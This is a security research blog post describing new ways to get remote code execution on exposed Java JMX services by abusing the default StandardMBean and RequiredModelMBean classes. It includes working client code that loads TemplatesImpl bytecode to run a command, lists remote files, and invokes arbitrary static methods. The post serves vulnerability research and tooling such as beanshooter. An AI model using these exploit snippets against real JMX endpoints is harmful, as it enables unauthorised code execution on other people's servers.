JMX Exploitation Revisited
The Java Management Extensions (JMX) are used by many if not all enterprise level applications in Java for managing and monitoring of application settings and metrics. While exploiting an accessible JMX endpoint is well known and there are several free tools available, this blog post will present new insights and a novel exploitation technique that allows for instant Remote Code Execution with no further requirements, such as outgoing connections or the existence of application specific MBeans.
Introduction
How to exploit remote JMX services is well known. For instance, Attacking RMI based JMX services by Hans-Martin Münch gives a pretty good introduction to JMX as well as a historical overview of attacks against exposed JMX services. You may want to read it before proceeding so that we’re on the same page.
And then there are also JMX exploitation tools such as mjet (formerly also known as sjet, also by Hans-Martin Münch) and beanshooter by my colleague Tobias Neitzel, which both can be used to exploit known vulnerabilities and JMX services and MBeans.
However, some aspects are either no longer possible in current Java versions (e. g., pre-authenticated arbitrary Java deserialization via RMIServer.newClient(Object)
) or they require certain MBeans being present or conditions such as the server being able to connect back to the attacker (e.g., MLet
with HTTP URL).
In this blog post we will look into two other default MBean classes that can be leveraged for pretty unexpected behavior:
- remote invocation of arbitrary instance methods on arbitrary serializable objects
- remote invocation of arbitrary static methods on arbitrary classes
Tobias has implemented some of the gained insights into his tool beanshooter. Thanks!
Read The Fine Manual
By default, MBean classes are required to fulfill one of the following:
- follow certain design patterns
- implement certain interfaces
For example, the javax.management.loading.MLet
class implements the javax.management.loading.MLetMBean
, which fulfills the first requirement that it implements an interface whose name of the same name but ends with MBean
.
The two specific MBean classes we will be looking at fulfill the second requirement:
Both classes provide features that don’t seem to have gotten much attention yet, but are pretty powerful and allow interaction with the MBean server and MBeans that may even violate the JMX specification.
The Standard MBean Class StandardMBean
The StandardMBean
was added to JMX 1.2 with the following description:
[…] the
javax.management.StandardMBean
class can be used to define standard MBeans with an interface whose name is not necessarily related to the class name of the MBean.– Java™ Management Extensions (JMX™) (Maintenance Release 2)
Also:
An MBean whose management interface is determined by reflection on a Java interface.
Here reflection is used to determine the attributes and operations based on the given interface class and the JavaBeans™ conventions.
That basically means that we can create MBeans of arbitrary classes and call methods on it that are defined by the interfaces they implement. The only restriction is that the class needs to be Serializable
as well as any possible arguments we want to use in the method call.
public final class TemplatesImpl implements Templates, Serializable
Meet the infamous TemplatesImpl
! It is an old acquaintance common in Java deserialization gadgets as it is serializable and calling any of the following public methods results in loading of a class from byte code embedded in the private field _bytecodes
:
TemplatesImpl.getOutputProperties()
TemplatesImpl.getTransletIndex()
TemplatesImpl.newTransformer()
The first and last methods are actually defined in the javax.xml.transform.Templates
interface that TemplatesImpl
implements. The getOutputProperties()
method also fulfills the requirements for a MBean attribute getter method, which makes it a perfect trigger for serializers calling getter methods during the process of deserialization.
In this case it means that we can call these Templates
interface methods remotely and thereby achieve arbitrary Remote Code Execution in the JMX service process:
// connect to MBean server
String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:12345/jmxrmi";
JMXServiceURL serviceURL = new JMXServiceURL(url);
Map env = new Properties();
MBeanServerConnection connection = JMXConnectorFactory.connect(serviceURL, env).getMBeanServerConnection();
// create ObjectName for new MBean
ObjectName objectName = new ObjectName("Test:type=test");
try {
// create TemplatesImpl (not detailed here)
Object templatesImpl = Gadgets.createTemplatesImpl("touch /tmp/proof.txt");
// create StandardMBean on MBean server
// calls `StandardMBean(T, Class<T>)` constructor with `templatesImpl` and `Templates.class`
String className = StandardMBean.class.getName();
String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() };
Object[] ctorArgs = new Object[] { templatesImpl, Templates.class };
connection.createMBean(className, objectName, ctorArgs, ctorArgTypes);
// any of the following works
// invokes getOuputProperties() indirectly via attribute getter
connection.getAttribute(objectName, "OutputProperties");
// invoke getOutputProperties() directly
connection.invoke(objectName, "getOutputProperties", new Object[0], new String[0]);
// invoke newTransformer() directly
connection.invoke(objectName, "newTransformer", new Object[0], new String[0]);
} finally {
try {
connection.unregisterMBean(objectName);
} catch (InstanceNotFoundException e) {
}
}
Here we even have the choice to either read the attribute OutputProperties (resulting in an invocation of getOutputProperties()
) or to invoke getOutputProperties()
or newTransformer()
directly.
The Model MBean Class RequiredModelMBean
The javax.management.modelmbean.RequiredModelMBean
is already part of JMX since 1.0 and is even more versatile than the StandardMBean
:
This model MBean implementation is intended to provide ease of use and extensive default management behavior for the instrumentation.
– Java™ Management Extensions Instrumentation and Agent Specification, v1.0
Also:
Java resources wishing to be manageable instantiate the
RequiredModelMBean
using theMBeanServer
’screateMBean
method. The resource then sets theMBeanInfo
andDescriptors
for theRequiredModelMBean
instance. The attributes and operations exposed via theModelMBeanInfo
for theModelMBean
are accessible from MBeans, connectors/adaptors like other MBeans. […]
So instead of having the wrapping MBean class use reflection to retrieve the MBean information from the interface class, a RequiredModelMBean
allows to specify the set of attributes, operations, etc. by providing a ModelMBeanInfo
with corresponding ModelMBeanAttributeInfo
, ModelMBeanOperationInfo
, etc.
That means, we can define what public instance attribute getters, setters, or regular methods we want to be invokable remotely.
Invoking Arbitrary Instance Methods
We can even define methods that do not fulfill the JavaBeans™ convention or MBeans design patterns like this example with java.io.File
demonstrates:
// connect to MBean server
String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:12345/jmxrmi";
JMXServiceURL serviceURL = new JMXServiceURL(url);
Map env = new Properties();
MBeanServerConnection connection = JMXConnectorFactory.connect(serviceURL, env).getMBeanServerConnection();
// create ObjectName for new MBean
ObjectName objectName = new ObjectName("Test:type=test");
try {
// create local File object
Object file = new File(".");
// get File.listFiles() method
Method method = File.class.getMethod("listFiles", new Class[0]);
// create ModelMBeanInfo
ModelMBeanOperationInfo[] ops = new ModelMBeanOperationInfo[] {
// ModelMBean.setManagedResource(Object, String)
new ModelMBeanOperationInfo("setManagedResource",
ModelMBean.class.getMethod("setManagedResource",
new Class[] { Object.class, String.class })),
// File.listFiles()
new ModelMBeanOperationInfo("listFiles", method)
};
ModelMBeanInfoSupport model = new ModelMBeanInfoSupport("test", "test", null, null, ops, null);
// create RequiredModelMBean
// calls RequiredModelMBean(ModelMBeanInfo) with model
String className = RequiredModelMBean.class.getName();
String[] ctorArgTypes = new String[] { ModelMBeanInfo.class.getName() };
Object[] ctorArgs = new Object[] { model };
connection.createMBean(className, objectName, ctorArgs, ctorArgTypes);
// set the managed resource to the serializable File object
connection.invoke(
objectName,
"setManagedResource",
new Object[] { file, "objectReference" },
new String[] { Object.class.getName(), String.class.getName() }
);
// invoke listFiles() on remote File via RequiredModelMBean
File[] files = (File[]) connection.invoke(objectName, "listFiles", new Object[0], new String[0]);
for (File f : files) {
System.out.println(f);
}
} finally {
try {
connection.unregisterMBean(objectName);
} catch (InstanceNotFoundException e) {
}
}
This works with every serializable object and public instance method. Arguments also need to be serializable. Return values can only be retrieved if they are also serializable, however, this is not a requirement for invoking a method in the first place.
Invoking Arbitrary Static Methods
While working on the implementation of some of the insights described here into beanshooter, Tobias pointed out that it is also possible to invoke static methods on arbitrary classes.
At first, I was baffled because when reading the implementation of RequiredModelMBean.invoke(String, Object[], String[])
, there is no way to have targetObject
being null
. And my assumption was that for calling static methods, the object instance provided as first argument to Method.invoke(Object, Object...)
must be null
. However, I figured that my assumption was entirely wrong after reading the manual:
If the underlying method is static, then the specified obj argument is ignored. It may be null.
Furthermore, it is not even required that the method is declared in a serializable class but any static method of any class can be specified! Awesome finding, Tobias!
So, for calling static methods, an additional Descriptor
instance needs to be provided to the ModelMBeanOperationInfo
constructor which holds a class field with the targeted class name.
static ModelMBeanOperationInfo createModelMBeanOperationInfo(String declaringClass, String methodName, MBeanParameterInfo[] signature) {
Map<String, Object> fields = new HashMap<String, Object>() {
{
put("name", methodName);
put("displayName", methodName);
put("class", declaringClass);
put("role", "operation");
put("descriptorType", "operation");
}
};
Descriptor descriptor = new ImmutableDescriptor(fields.keySet().toArray(new String[0]), fields.values().toArray());
return new ModelMBeanOperationInfo(
methodName,
null,
signature,
declaringClass,
MBeanOperationInfo.UNKNOWN,
descriptor
);
}
The provided class field is read in RequiredModelMBean.invoke(String, Object[], String[])
and overrides the target class variable, which otherwise would be obtained by calling getClass()
on the resource object.
So, for instance, for creating a ModelMBeanOperationInfo
for System.setProperty(String, String)
, the following can be used:
// create ModelMBeanOperationInfo for java.lang.System.setProperty(String, String)
createModelMBeanOperationInfo(
"java.lang.System",
"setProperty",
new MBeanParameterInfo[] {
new MBeanParameterInfo(null, String.class.getName(), null),
new MBeanParameterInfo(null, String.class.getName(), null),
}
)
As already said, for calling the static method, the resource managed by RequiredModelMBean
can be any arbitrary serializable instance. So even a String
suffices.
// set managed resource with dummy value
connection.invoke(
objectName,
"setManagedResource",
new Object[] { "", "objectReference" },
new String[] { Object.class.getName(), String.class.getName() }
);
// invoke static method `java.lang.System.setProperty("foo", "bar")`
connection.invoke(
objectName,
"setProperty",
new Object[] { "foo", "bar" },
new String[] { String.class.getName(), String.class.getName() }
);
This works with any public static method regardless of the class it is declared in. But again, provided argument values still need to be serializable. And return values can only be retrieved if they are also serializable, however, this is not a requirement for invoking a method in the first place.
Conclusion
Even though exploitation of JMX is generally well understood and comprehensively researched, apparently no one had looked into the aspects described here.
So check your assumptions! Don’t take things for granted, even when it seems everyone has already looked into it. Dive deep to understand it fully. You might be surprised.